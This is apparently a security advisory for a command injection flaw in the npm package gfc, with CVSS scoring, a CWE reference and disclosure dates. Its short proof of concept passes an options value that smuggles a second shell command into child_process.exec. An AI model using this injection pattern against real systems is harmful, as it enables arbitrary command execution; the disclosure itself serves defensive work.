Command Injection

Affecting gfc package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

gfc is a Simple way to initialize a new git repository in an empty directory, add a file and do a first commit (or skip that part in a directory with files). Useful for unit tests and generators.

Affected versions of this package are vulnerable to Command Injection via the options argument which is used to build the command that is passed to the child_process.exec function without any sanitization.

POC

const firstCommit = require('gfc');
const options = {message: '""; touch HACKED;'};
firstCommit('.', options, function(err) {});

Remediation

There is no fixed version for gfc.

References

CVSS Score

9.8
critical severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C
Credit
d3lla
CWE
CWE-78
Snyk ID
SNYK-JS-GFC-1023302
Disclosed
27 Oct, 2020
Published
28 Oct, 2020